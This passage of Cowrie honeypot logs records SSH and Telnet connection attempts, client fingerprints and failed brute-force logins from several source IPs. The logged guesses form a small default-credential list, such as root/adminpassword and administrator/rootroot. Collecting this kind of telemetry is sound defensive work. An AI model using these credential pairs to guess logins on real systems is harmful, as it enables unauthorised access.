istp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:38.583898Z","src_ip":"159.203.92.129","session":"baaf25c48601","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootpass","message":"login attempt [administrator/rootpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:38.616607Z","src_ip":"159.203.92.129","session":"baaf25c48601","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:04:39.623722Z","src_ip":"159.203.92.129","session":"baaf25c48601","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":46862,"dst_ip":"10.17.0.5","dst_port":22,"session":"35dbe46c8352","protocol":"ssh","message":"New connection: 150.95.157.171:46862 (10.17.0.5:22) [session: 35dbe46c8352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:00.265486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:00.277433Z","src_ip":"150.95.157.171","session":"35dbe46c8352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:00.444965Z","src_ip":"150.95.157.171","session":"35dbe46c8352","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminpassword","message":"login attempt [root/adminpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:01.100965Z","src_ip":"150.95.157.171","session":"35dbe46c8352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:02.258668Z","src_ip":"150.95.157.171","session":"35dbe46c8352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42642,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2df39fc117b","protocol":"ssh","message":"New connection: 159.203.92.129:42642 (159.203.135.109:22) [session: b2df39fc117b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:22.070436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:22.102838Z","src_ip":"159.203.92.129","session":"b2df39fc117b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:22.109463Z","src_ip":"159.203.92.129","session":"b2df39fc117b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootroot","message":"login attempt [administrator/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:22.174012Z","src_ip":"159.203.92.129","session":"b2df39fc117b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:23.221636Z","src_ip":"159.203.92.129","session":"b2df39fc117b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":38454,"dst_ip":"10.17.0.5","dst_port":23,"session":"08bfd2b4c393","protocol":"telnet","message":"New connection: 98.142.250.154:38454 (10.17.0.5:23) [session: 08bfd2b4c393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:48.210143Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.163.183","src_port":19826,"dst_ip":"10.17.0.5","dst_port":22,"session":"732f1f95e70c","protocol":"ssh","message":"New connection: 152.32.163.183:19826 (10.17.0.5:22) [session: 732f1f95e70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:50.720264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:50.724839Z","src_ip":"152.32.163.183","session":"732f1f95e70c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:56.732558Z","src_ip":"152.32.163.183","session":"732f1f95e70c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:05:56.740057Z","src_ip":"152.32.163.183","session":"732f1f95e70c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":50164,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd9771a0a1c2","protocol":"telnet","message":"New connection: 98.142.250.154:50164 (10.17.0.5:23) [session: dd9771a0a1c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:00.456136Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0fb313d5c9a","protocol":"telnet","message":"New connection: 98.142.250.154:50170 (10.17.0.5:23) [session: e0fb313d5c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:00.894193Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":53934,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8ea54723896","protocol":"ssh","message":"New connection: 45.232.73.84:53934 (159.203.135.109:22) [session: d8ea54723896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:03.329272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:03.334568Z","src_ip":"45.232.73.84","session":"d8ea54723896","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:03.460360Z","src_ip":"45.232.73.84","session":"d8ea54723896","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Password","message":"login attempt [root/1Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:04.008910Z","src_ip":"45.232.73.84","session":"d8ea54723896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":50172,"dst_ip":"10.17.0.5","dst_port":23,"session":"526ac9f3be87","protocol":"telnet","message":"New connection: 98.142.250.154:50172 (10.17.0.5:23) [session: 526ac9f3be87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:04.208822Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:05.141281Z","src_ip":"45.232.73.84","session":"d8ea54723896","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.186.1.54","src_port":56838,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaef51ac990c","protocol":"telnet","message":"New connection: 109.186.1.54:56838 (159.203.135.109:23) [session: eaef51ac990c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:05.531021Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41450,"dst_ip":"159.203.135.109","dst_port":22,"session":"39714a05b2ab","protocol":"ssh","message":"New connection: 159.203.92.129:41450 (159.203.135.109:22) [session: 39714a05b2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:07.307673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:07.313411Z","src_ip":"159.203.92.129","session":"39714a05b2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:07.324185Z","src_ip":"159.203.92.129","session":"39714a05b2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootroot123","message":"login attempt [administrator/rootroot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:07.339872Z","src_ip":"159.203.92.129","session":"39714a05b2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:08.346980Z","src_ip":"159.203.92.129","session":"39714a05b2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:13.778975Z","src_ip":"152.32.163.183","session":"f1bd08bb1d2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.205782890319824,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:17.736697Z","src_ip":"109.186.1.54","session":"eaef51ac990c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956802368164062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:19.166777Z","src_ip":"98.142.250.154","session":"08bfd2b4c393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":40738,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbaa0ada9ac8","protocol":"telnet","message":"New connection: 98.142.250.154:40738 (10.17.0.5:23) [session: dbaa0ada9ac8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:28.912103Z"}
{"eventid":"cowrie.session.closed","duration":30.580095767974854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:31.036106Z","src_ip":"98.142.250.154","session":"dd9771a0a1c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140972137451172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:32.035103Z","src_ip":"98.142.250.154","session":"e0fb313d5c9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":40752,"dst_ip":"10.17.0.5","dst_port":23,"session":"15375acc00f0","protocol":"telnet","message":"New connection: 98.142.250.154:40752 (10.17.0.5:23) [session: 15375acc00f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:34.106464Z"}
{"eventid":"cowrie.session.closed","duration":30.866968393325806,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:35.075693Z","src_ip":"98.142.250.154","session":"526ac9f3be87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":49132,"dst_ip":"10.17.0.5","dst_port":23,"session":"b11bd6dfab41","protocol":"telnet","message":"New connection: 98.142.250.154:49132 (10.17.0.5:23) [session: b11bd6dfab41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:38.201160Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":49140,"dst_ip":"10.17.0.5","dst_port":23,"session":"3570238e7f13","protocol":"telnet","message":"New connection: 98.142.250.154:49140 (10.17.0.5:23) [session: 3570238e7f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:38.234539Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":57882,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb59a2d358d","protocol":"telnet","message":"New connection: 216.158.234.238:57882 (10.17.0.5:23) [session: 1cb59a2d358d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:41.347523Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":57994,"dst_ip":"10.17.0.5","dst_port":23,"session":"bfb7351522fa","protocol":"telnet","message":"New connection: 216.158.234.238:57994 (10.17.0.5:23) [session: bfb7351522fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:41.420722Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":58158,"dst_ip":"10.17.0.5","dst_port":23,"session":"339763a62650","protocol":"telnet","message":"New connection: 216.158.234.238:58158 (10.17.0.5:23) [session: 339763a62650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:41.580861Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":49156,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba94a649efcf","protocol":"telnet","message":"New connection: 98.142.250.154:49156 (10.17.0.5:23) [session: ba94a649efcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:42.134904Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59682,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec67b5629a4","protocol":"telnet","message":"New connection: 216.158.234.238:59682 (10.17.0.5:23) [session: 2ec67b5629a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.147743Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59692,"dst_ip":"10.17.0.5","dst_port":23,"session":"254b0582f780","protocol":"telnet","message":"New connection: 216.158.234.238:59692 (10.17.0.5:23) [session: 254b0582f780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.156116Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c71cdbcac9","protocol":"telnet","message":"New connection: 216.158.234.238:59824 (10.17.0.5:23) [session: 46c71cdbcac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.312679Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3da0def50aa","protocol":"telnet","message":"New connection: 216.158.234.238:59820 (10.17.0.5:23) [session: d3da0def50aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.337249Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59880,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a6e3cbbc7c7","protocol":"telnet","message":"New connection: 216.158.234.238:59880 (10.17.0.5:23) [session: 0a6e3cbbc7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.401089Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":49172,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff8075aaed5c","protocol":"telnet","message":"New connection: 98.142.250.154:49172 (10.17.0.5:23) [session: ff8075aaed5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:43.852588Z"}
